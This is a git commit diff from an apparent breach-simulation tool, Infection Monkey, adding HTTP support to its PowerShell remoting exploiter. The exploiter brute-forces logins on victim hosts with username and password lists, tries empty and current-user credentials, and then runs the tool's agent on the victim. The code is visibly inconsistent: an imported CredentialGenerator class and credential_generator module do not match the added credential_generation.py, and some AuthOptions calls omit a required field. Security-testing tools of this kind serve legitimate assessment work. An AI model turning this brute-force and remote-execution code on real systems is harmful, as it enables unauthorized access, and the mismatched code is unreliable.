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Add the capability to exploit powershell remoting over HTTP and improve the code style

This commit is contained in:
VakarisZ 2021-09-01 14:21:57 +03:00
parent 13b1904cf7
commit b2e1b28059
6 changed files with 170 additions and 95 deletions
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1
monkey/infection_monkey/Pipfile
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@ -30,6 +30,7 @@ WMI = {version = "==1.5.1", sys_platform = "== 'win32'"}
ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"}
pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl
pypsrp = "*"
typing-extensions = "*"
[dev-packages]

30
monkey/infection_monkey/Pipfile.lock generated
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@ -1,7 +1,7 @@
{
"_meta": {
"hash": {
"sha256": "60705d888d53c68aebc3a324b4f22e472f35ed152c2e506d475fe639feb7e359"
"sha256": "96a125018d143a7446fe9b2849991c00d79f37c433694db77e616c1135baeaf9"
},
"pipfile-spec": 6,
"requires": {
@ -69,19 +69,19 @@
},
"boto3": {
"hashes": [
"sha256:7209b79833bdf13753aa24f76bf533890ffed2cc4fe1fe08619d223c209bbd11",
"sha256:f46c93d09acd4d4bfc6b9522ed852fecbdc508e0365f29ddfb3c146aae784b4e"
"sha256:461f659c06f9f56693cebbca70b11866f096021eafbd949a3c029c3a8adee6a4",
"sha256:596d2afda27ae3d9a10112a475aa25c4d6b5cf023919e370ad8e6c6ae04d57a6"
],
"markers": "python_version >= '3.6'",
"version": "==1.18.27"
"version": "==1.18.33"
},
"botocore": {
"hashes": [
"sha256:8c99abd7093ab11ce8d09c68732aeeb6065a53d2fe371568452e99291817fff5",
"sha256:b9e2c90bad164d111c229102f58f995c28576e719dd116b446965e1b786f8fa5"
"sha256:204327b9a33e3ae5207ff9acdd7d3b6d1f99f5dc9165a4d843d6f1a566f3006c",
"sha256:b321b570a0da4c6280e737d817c8f740bce0ef914f564e1c27246c7ae76b4c31"
],
"markers": "python_version >= '3.6'",
"version": "==1.21.27"
"version": "==1.21.33"
},
"certifi": {
"hashes": [
@ -441,11 +441,11 @@
},
"minidump": {
"hashes": [
"sha256:7f341d62b5a6ea961d6230e35c2cb68c5b1d258403411b6e4c58aa0c317cf498",
"sha256:b9fe0a65cf42d60591807bb8b6d9357e92f6a46f2851befdbaf08894722d07ff"
"sha256:67b3327cb96e319633653a353c6281703772335dc84797d6fdce7daf0b3be077",
"sha256:fdd9eb4566b6d3dabc205bf644ded724067bdbdb453eb418565261e5520b3537"
],
"markers": "python_version >= '3.6'",
"version": "==0.0.18"
"version": "==0.0.19"
},
"minikerberos": {
"hashes": [
@ -969,12 +969,12 @@
},
"typing-extensions": {
"hashes": [
"sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497",
"sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342",
"sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"
"sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e",
"sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7",
"sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34"
],
"markers": "python_version < '3.8'",
"version": "==3.10.0.0"
"index": "pypi",
"version": "==3.10.0.2"
},
"urllib3": {
"hashes": [

84
monkey/infection_monkey/exploit/powershell.py
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@ -4,7 +4,7 @@ from typing import Optional, Union
import pypsrp
import spnego
from pypsrp.client import Client
from pypsrp.exceptions import AuthenticationError
from pypsrp.powershell import PowerShell, RunspacePool
from urllib3 import connectionpool
@ -13,6 +13,12 @@ from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.powershell_utils import utils
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.exploit.powershell_utils.credential_generator import CredentialGenerator
from infection_monkey.exploit.powershell_utils.utils import (
IClient,
get_client_based_on_auth_options,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost
from infection_monkey.utils.environment import is_windows_os
@ -41,49 +47,79 @@ class PowerShellExploiter(HostExploiter):
logging.getLogger(package.__name__).setLevel(logging.ERROR)
def _exploit_host(self):
self.client = self._authenticate_via_brute_force()
is_https = self._is_client_using_https()
credentials = CredentialGenerator(
self.host.ip_addr,
self._config.exploit_user_list,
self._config.exploit_password_list,
is_windows_os(),
).get_credentials(is_https=is_https)
self.client = self._authenticate_via_brute_force(credentials)
if not self.client:
return False
return self._execute_monkey_agent_on_victim()
def _authenticate_via_brute_force(self) -> Optional[Client]:
credentials = utils.get_credentials(
self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os()
)
def _is_client_using_https(self) -> bool:
try:
self._try_http()
return False
except AuthenticationError:
return False
except Exception:
pass
for username, password in credentials:
try:
self._try_https()
return True
except AuthenticationError:
return True
except Exception:
raise Exception("Powershell remoting seems to be disabled.")
def _try_http(self):
auth_options_http = AuthOptions(
ip_addr=self.host.ip_addr,
username=self._config.exploit_user_list[0],
password=self._config.exploit_password_list[0],
is_https=False,
)
self._authenticate(auth_options_http)
def _try_https(self):
auth_options_http = AuthOptions(
ip_addr=self.host.ip_addr,
username=self._config.exploit_user_list[0],
password=self._config.exploit_password_list[0],
is_https=True,
)
self._authenticate(auth_options_http)
def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]:
for credential in credentials:
try:
client = self._authenticate(username, password)
client = PowerShellExploiter._authenticate(credential)
LOG.info(
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
f"{username}"
f"{credential.username}"
)
self.report_login_attempt(True, username, password)
self.report_login_attempt(True, credential.username, credential.password)
return client
except Exception as ex: # noqa: F841
LOG.debug(
f"Error logging into {self.host.ip_addr} using Powershell. User: "
f"{username}, Error: {ex}"
f"{credential.username}, Error: {ex}"
)
self.report_login_attempt(False, username, password)
self.report_login_attempt(False, credential.username, credential.password)
return None
def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client:
(ssl, auth, encryption) = utils.get_powershell_client_params(password)
client = Client(
self.host.ip_addr,
username=username,
password=password,
cert_validation=False,
ssl=ssl,
auth=auth,
encryption=encryption,
connection_timeout=3,
)
@staticmethod
def _authenticate(auth_options: AuthOptions) -> IClient:
client = get_client_based_on_auth_options(auth_options)
# attempt to execute dir command to know if authentication was successful
client.execute_cmd("dir")

10
monkey/infection_monkey/exploit/powershell_utils/auth_options.py Normal file
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@ -0,0 +1,10 @@
from dataclasses import dataclass
from typing import Union
@dataclass
class AuthOptions:
ip_addr: str
username: Union[str, None]
password: Union[str, None]
is_https: bool

46
monkey/infection_monkey/exploit/powershell_utils/credential_generation.py Normal file
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@ -0,0 +1,46 @@
from itertools import product
from typing import List
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
def get_credentials(
usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool
) -> List[AuthOptions]:
credentials = []
credentials.extend(_get_empty_credentials(is_windows))
credentials.extend(_get_username_only_credentials(usernames, is_windows))
credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https))
return credentials
def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]:
if is_windows:
return [AuthOptions(username=None, password=None, is_https=False)]
return []
def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]:
credentials = [
AuthOptions(username=username, password="", is_https=False) for username in usernames
]
if is_windows:
credentials.extend(
[AuthOptions(username=username, password=None, is_https=True) for username in usernames]
)
return credentials
def _get_username_password_credentials(
usernames: List[str], passwords: List[str], is_https: bool
) -> List[AuthOptions]:
username_password_pairs = product(usernames, passwords)
return [
AuthOptions(credentials[0], credentials[1], is_https=is_https)
for credentials in username_password_pairs
]

94
monkey/infection_monkey/exploit/powershell_utils/utils.py
View File

@ -1,63 +1,10 @@
from itertools import product
from typing import List, Optional, Tuple
from pypsrp.client import Client
from typing_extensions import Protocol
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
from infection_monkey.utils.commands import build_monkey_commandline
AUTH_BASIC = "basic"
AUTH_NEGOTIATE = "negotiate"
ENCRYPTION_AUTO = "auto"
ENCRYPTION_NEVER = "never"
def get_credentials(
usernames: List[str], passwords: List[str], is_windows: bool
) -> List[Tuple[Optional[str], Optional[str]]]:
# When username or password is None, this instructs the powershell client to attempt to use
# The current user's credentials. This is only valid if the client is running from a Windows
# machine.
credentials = []
credentials.extend(_get_empty_credentials(is_windows))
credentials.extend(_get_username_only_credentials(usernames, is_windows))
credentials.extend(_get_username_password_credentials(usernames, passwords))
return credentials
def _get_empty_credentials(is_windows: bool) -> List[Tuple[None, None]]:
if is_windows:
return [(None, None)]
return []
def _get_username_only_credentials(
usernames: List[str], is_windows: bool
) -> List[Tuple[str, Optional[str]]]:
credentials = [(username, "") for username in usernames]
if is_windows:
credentials.extend([(username, None) for username in usernames])
return credentials
def _get_username_password_credentials(
usernames: List[str], passwords: List[str]
) -> List[Tuple[str, str]]:
username_password_pairs = product(usernames, passwords)
return [credentials for credentials in username_password_pairs]
def get_powershell_client_params(password: str) -> Tuple[bool, str, str]:
ssl = password != ""
auth = AUTH_NEGOTIATE if password != "" else AUTH_BASIC
encryption = ENCRYPTION_AUTO if password != "" else ENCRYPTION_NEVER
return (ssl, auth, encryption)
def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str:
monkey_params = build_monkey_commandline(
@ -72,3 +19,38 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path
"monkey_type": DROPPER_ARG,
"parameters": monkey_params,
}
AUTH_BASIC = "basic"
AUTH_NEGOTIATE = "negotiate"
ENCRYPTION_AUTO = "auto"
ENCRYPTION_NEVER = "never"
CONNECTION_TIMEOUT = 3 # Seconds
class IClient(Protocol):
def execute_cmd(self, cmd: str):
pass
def get_client_based_on_auth_options(auth_options: AuthOptions) -> IClient:
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
if auth_options.password == "":
ssl = False
else:
ssl = auth_options.is_https
auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC
encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER
return Client(
auth_options.ip_addr,
username=auth_options.username,
password=auth_options.password,
cert_validation=False,
ssl=ssl,
auth=auth,
encryption=encryption,
connection_timeout=CONNECTION_TIMEOUT,
)